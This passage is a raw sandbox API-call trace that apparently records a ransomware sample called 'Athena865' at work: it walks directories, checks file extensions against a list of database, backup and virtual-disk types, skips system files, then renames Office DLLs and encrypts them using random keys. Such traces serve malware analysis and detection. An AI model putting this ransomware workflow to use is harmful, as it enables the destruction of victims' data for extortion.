lstrlenW (lpString="oqy") returned 3 [0112.461] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0112.461] lstrlenW (lpString="ora") returned 3 [0112.461] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0112.461] lstrlenW (lpString="orx") returned 3 [0112.461] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0112.461] lstrlenW (lpString="owc") returned 3 [0112.461] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0112.461] lstrlenW (lpString="p96") returned 3 [0112.461] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0112.462] lstrlenW (lpString="p97") returned 3 [0112.462] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0112.462] lstrlenW (lpString="pan") returned 3 [0112.462] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0112.462] lstrlenW (lpString="pdb") returned 3 [0112.462] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0112.462] lstrlenW (lpString="pdm") returned 3 [0112.462] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0112.462] lstrlenW (lpString="pnz") returned 3 [0112.462] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0112.462] lstrlenW (lpString="qry") returned 3 [0112.462] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0112.462] lstrlenW (lpString="qvd") returned 3 [0112.462] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0112.462] lstrlenW (lpString="rbf") returned 3 [0112.462] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0112.462] lstrlenW (lpString="rctd") returned 4 [0112.462] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0112.462] lstrlenW (lpString="rod") returned 3 [0112.462] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0112.462] lstrlenW (lpString="rodx") returned 4 [0112.462] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0112.462] lstrlenW (lpString="rpd") returned 3 [0112.462] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0112.462] lstrlenW (lpString="rsd") returned 3 [0112.462] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0112.462] lstrlenW (lpString="sas7bdat") returned 8 [0112.463] lstrcmpiW (lpString1="LEDB.DLL", lpString2="sas7bdat") returned -1 [0112.463] lstrlenW (lpString="sbf") returned 3 [0112.463] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0112.463] lstrlenW (lpString="scx") returned 3 [0112.463] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0112.463] lstrlenW (lpString="sdb") returned 3 [0112.463] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0112.463] lstrlenW (lpString="sdc") returned 3 [0112.463] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0112.463] lstrlenW (lpString="sdf") returned 3 [0112.463] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0112.463] lstrlenW (lpString="sis") returned 3 [0112.463] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0112.463] lstrlenW (lpString="spq") returned 3 [0112.463] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0112.463] lstrlenW (lpString="te") returned 2 [0112.463] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0112.463] lstrlenW (lpString="teacher") returned 7 [0112.463] lstrcmpiW (lpString1="EDB.DLL", lpString2="teacher") returned -1 [0112.463] lstrlenW (lpString="tmd") returned 3 [0112.463] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0112.463] lstrlenW (lpString="tps") returned 3 [0112.463] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0112.463] lstrlenW (lpString="trc") returned 3 [0112.463] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0112.463] lstrlenW (lpString="trc") returned 3 [0112.463] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0112.463] lstrlenW (lpString="trm") returned 3 [0112.464] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0112.464] lstrlenW (lpString="udb") returned 3 [0112.464] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0112.464] lstrlenW (lpString="udl") returned 3 [0112.464] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0112.464] lstrlenW (lpString="usr") returned 3 [0112.464] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0112.464] lstrlenW (lpString="v12") returned 3 [0112.464] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0112.464] lstrlenW (lpString="vis") returned 3 [0112.464] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0112.464] lstrlenW (lpString="vpd") returned 3 [0112.464] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0112.464] lstrlenW (lpString="vvv") returned 3 [0112.464] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0112.464] lstrlenW (lpString="wdb") returned 3 [0112.464] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0112.464] lstrlenW (lpString="wmdb") returned 4 [0112.464] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0112.464] lstrlenW (lpString="wrk") returned 3 [0112.464] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0112.464] lstrlenW (lpString="xdb") returned 3 [0112.464] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0112.464] lstrlenW (lpString="xld") returned 3 [0112.464] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0112.464] lstrlenW (lpString="xmlff") returned 5 [0112.464] lstrcmpiW (lpString1="B.DLL", lpString2="xmlff") returned -1 [0112.464] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.Athena865") returned 78 [0112.464] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.athena865"), dwFlags=0x1) returned 1 [0112.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0112.466] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=537504) returned 1 [0112.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0112.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0112.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0112.467] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0112.467] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0112.467] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.467] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x836a0, lpName=0x0) returned 0x154 [0112.469] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x836a0) returned 0x2d50000 [0112.492] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0112.493] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0112.493] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0112.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0112.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0112.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0112.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0112.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0112.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0112.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0112.493] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0112.498] CloseHandle (hObject=0x154) returned 1 [0112.498] CloseHandle (hObject=0x17c) returned 1 [0112.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0112.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0112.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0112.500] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0112.500] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0112.500] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0112.500] lstrcmpiW (lpString1="ACER3X.DLL", lpString2=".") returned 1 [0112.500] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="..") returned 1 [0112.501] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="windows") returned -1 [0112.501] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="bootmgr") returned -1 [0112.501] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="temp") returned -1 [0112.501] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="pagefile.sys") returned -1 [0112.501] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="boot") returned -1 [0112.501] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="ids.txt") returned -1 [0112.501] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="ntuser.dat") returned -1 [0112.501] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="perflogs") returned -1 [0112.501] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="MSBuild") returned -1 [0112.501] lstrlenW (lpString="ACER3X.DLL") returned 10 [0112.501] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ACER3X.DLL" | out: lpString1="ACER3X.DLL") returned="ACER3X.DLL" [0112.501] lstrlenW (lpString="ACER3X.DLL") returned 10 [0112.501] lstrlenW (lpString="Athena865") returned 9 [0112.501] lstrcmpiW (lpString1="CER3X.DLL", lpString2="Athena865") returned 1 [0112.501] lstrlenW (lpString=".dll") returned 4 [0112.501] lstrcmpiW (lpString1="ACER3X.DLL", lpString2=".dll") returned 1 [0112.501] lstrlenW (lpString=".lnk") returned 4 [0112.501] lstrcmpiW (lpString1="ACER3X.DLL", lpString2=".lnk") returned 1 [0112.501] lstrlenW (lpString=".ini") returned 4 [0112.501] lstrcmpiW (lpString1="ACER3X.DLL", lpString2=".ini") returned 1 [0112.501] lstrlenW (lpString=".sys") returned 4 [0112.501] lstrcmpiW (lpString1="ACER3X.DLL", lpString2=".sys") returned 1 [0112.501] lstrlenW (lpString="ACER3X.DLL") returned 10 [0112.501] lstrlenW (lpString="bak") returned 3 [0112.501] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0112.501] lstrlenW (lpString="ba_") returned 3 [0112.501] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0112.501] lstrlenW (lpString="dbb") returned 3 [0112.501] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0112.502] lstrlenW (lpString="vmdk") returned 4 [0112.502] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0112.502] lstrlenW (lpString="rar") returned 3 [0112.502] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0112.502] lstrlenW (lpString="zip") returned 3 [0112.502] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0112.502] lstrlenW (lpString="tgz") returned 3 [0112.502] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0112.502] lstrlenW (lpString="vbox") returned 4 [0112.502] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0112.502] lstrlenW (lpString="vdi") returned 3 [0112.502] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0112.502] lstrlenW (lpString="vhd") returned 3 [0112.502] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0112.502] lstrlenW (lpString="vhdx") returned 4 [0112.502] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0112.502] lstrlenW (lpString="avhd") returned 4 [0112.502] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0112.502] lstrlenW (lpString="db") returned 2 [0112.502] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0112.502] lstrlenW (lpString="db2") returned 3 [0112.502] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0112.502] lstrlenW (lpString="db3") returned 3 [0112.502] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0112.502] lstrlenW (lpString="dbf") returned 3 [0112.502] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0112.502] lstrlenW (lpString="mdf") returned 3 [0112.502] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0112.502] lstrlenW (lpString="mdb") returned 3 [0112.502] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0112.503] lstrlenW (lpString="sql") returned 3 [0112.503] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0112.503] lstrlenW (lpString="sqlite") returned 6 [0112.503] lstrcmpiW (lpString1="3X.DLL", lpString2="sqlite") returned -1 [0112.503] lstrlenW (lpString="sqlite3") returned 7 [0112.503] lstrcmpiW (lpString1="R3X.DLL", lpString2="sqlite3") returned -1 [0112.503] lstrlenW (lpString="sqlitedb") returned 8 [0112.503] lstrcmpiW (lpString1="ER3X.DLL", lpString2="sqlitedb") returned -1 [0112.503] lstrlenW (lpString="xml") returned 3 [0112.503] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0112.503] lstrlenW (lpString="$er") returned 3 [0112.503] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0112.503] lstrlenW (lpString="4dd") returned 3 [0112.503] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0112.503] lstrlenW (lpString="4dl") returned 3 [0112.503] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0112.503] lstrlenW (lpString="^^^") returned 3 [0112.503] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0112.503] lstrlenW (lpString="abs") returned 3 [0112.503] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0112.503] lstrlenW (lpString="abx") returned 3 [0112.503] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0112.503] lstrlenW (lpString="accdb") returned 5 [0112.503] lstrcmpiW (lpString1="X.DLL", lpString2="accdb") returned 1 [0112.503] lstrlenW (lpString="accdc") returned 5 [0112.503] lstrcmpiW (lpString1="X.DLL", lpString2="accdc") returned 1 [0112.503] lstrlenW (lpString="accde") returned 5 [0112.503] lstrcmpiW (lpString1="X.DLL", lpString2="accde") returned 1 [0112.503] lstrlenW (lpString="accdr") returned 5 [0112.503] lstrcmpiW (lpString1="X.DLL", lpString2="accdr") returned 1 [0112.504] lstrlenW (lpString="accdt") returned 5 [0112.504] lstrcmpiW (lpString1="X.DLL", lpString2="accdt") returned 1 [0112.504] lstrlenW (lpString="accdw") returned 5 [0112.504] lstrcmpiW (lpString1="X.DLL", lpString2="accdw") returned 1 [0112.504] lstrlenW (lpString="accft") returned 5 [0112.504] lstrcmpiW (lpString1="X.DLL", lpString2="accft") returned 1 [0112.504] lstrlenW (lpString="adb") returned 3 [0112.504] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0112.504] lstrlenW (lpString="adb") returned 3 [0112.504] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0112.504] lstrlenW (lpString="ade") returned 3 [0112.504] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0112.504] lstrlenW (lpString="adf") returned 3 [0112.504] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0112.504] lstrlenW (lpString="adn") returned 3 [0112.504] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0112.504] lstrlenW (lpString="adp") returned 3 [0112.504] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0112.504] lstrlenW (lpString="alf") returned 3 [0112.504] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0112.504] lstrlenW (lpString="ask") returned 3 [0112.504] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0112.504] lstrlenW (lpString="btr") returned 3 [0112.504] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0112.504] lstrlenW (lpString="cat") returned 3 [0112.504] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0112.504] lstrlenW (lpString="cdb") returned 3 [0112.504] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0112.504] lstrlenW (lpString="ckp") returned 3 [0112.504] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0112.505] lstrlenW (lpString="cma") returned 3 [0112.505] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0112.505] lstrlenW (lpString="cpd") returned 3 [0112.505] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0112.505] lstrlenW (lpString="dacpac") returned 6 [0112.505] lstrcmpiW (lpString1="3X.DLL", lpString2="dacpac") returned -1 [0112.505] lstrlenW (lpString="dad") returned 3 [0112.505] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0112.505] lstrlenW (lpString="dadiagrams") returned 10 [0112.505] lstrlenW (lpString="daschema") returned 8 [0112.505] lstrcmpiW (lpString1="ER3X.DLL", lpString2="daschema") returned 1 [0112.505] lstrlenW (lpString="db-journal") returned 10 [0112.505] lstrlenW (lpString="db-shm") returned 6 [0112.505] lstrcmpiW (lpString1="3X.DLL", lpString2="db-shm") returned -1 [0112.505] lstrlenW (lpString="db-wal") returned 6 [0112.505] lstrcmpiW (lpString1="3X.DLL", lpString2="db-wal") returned -1 [0112.505] lstrlenW (lpString="dbc") returned 3 [0112.505] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0112.505] lstrlenW (lpString="dbs") returned 3 [0112.505] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0112.505] lstrlenW (lpString="dbt") returned 3 [0112.505] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0112.505] lstrlenW (lpString="dbv") returned 3 [0112.505] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0112.505] lstrlenW (lpString="dbx") returned 3 [0112.505] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0112.505] lstrlenW (lpString="dcb") returned 3 [0112.505] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0112.505] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0112.506] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0112.506] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0112.506] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.Athena865") returned 76 [0112.506] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.athena865"), dwFlags=0x1) returned 1 [0112.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0112.507] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=451480) returned 1 [0112.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0112.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0112.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0112.507] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0112.508] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0112.508] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.508] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6e6a0, lpName=0x0) returned 0x154 [0112.510] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6e6a0) returned 0x2d50000 [0112.528] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0112.529] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0112.529] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0112.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0112.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0112.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0112.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0112.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0112.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0112.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0112.529] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0112.533] CloseHandle (hObject=0x154) returned 1 [0112.533] CloseHandle (hObject=0x17c) returned 1 [0112.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0112.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0112.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0112.535] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0112.535] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0112.535] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0112.535] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2=".") returned 1 [0112.535] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="..") returned 1 [0112.535] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="windows") returned -1 [0112.536] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="bootmgr") returned -1 [0112.536] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="temp") returned -1 [0112.536] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="pagefile.sys") returned -1 [0112.536] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="boot") returned -1 [0112.536] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="ids.txt") returned -1 [0112.536] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="ntuser.dat") returned -1 [0112.536] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="perflogs") returned -1 [0112.536] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="MSBuild") returned -1 [0112.536] lstrlenW (lpString="ACERCLR.DLL") returned 11 [0112.536] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ACERCLR.DLL" | out: lpString1="ACERCLR.DLL") returned="ACERCLR.DLL" [0112.536] lstrlenW (lpString="ACERCLR.DLL") returned 11 [0112.536] lstrlenW (lpString="Athena865") returned 9 [0112.536] lstrcmpiW (lpString1="ERCLR.DLL", lpString2="Athena865") returned 1 [0112.536] lstrlenW (lpString=".dll") returned 4 [0112.536] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2=".dll") returned 1 [0112.536] lstrlenW (lpString=".lnk") returned 4 [0112.536] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2=".lnk") returned 1 [0112.536] lstrlenW (lpString=".ini") returned 4 [0112.536] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2=".ini") returned 1 [0112.536] lstrlenW (lpString=".sys") returned 4 [0112.536] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2=".sys") returned 1 [0112.536] lstrlenW (lpString="ACERCLR.DLL") returned 11 [0112.536] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.Athena865") returned 77 [0112.536] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.athena865"), dwFlags=0x1) returned 1 [0112.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, 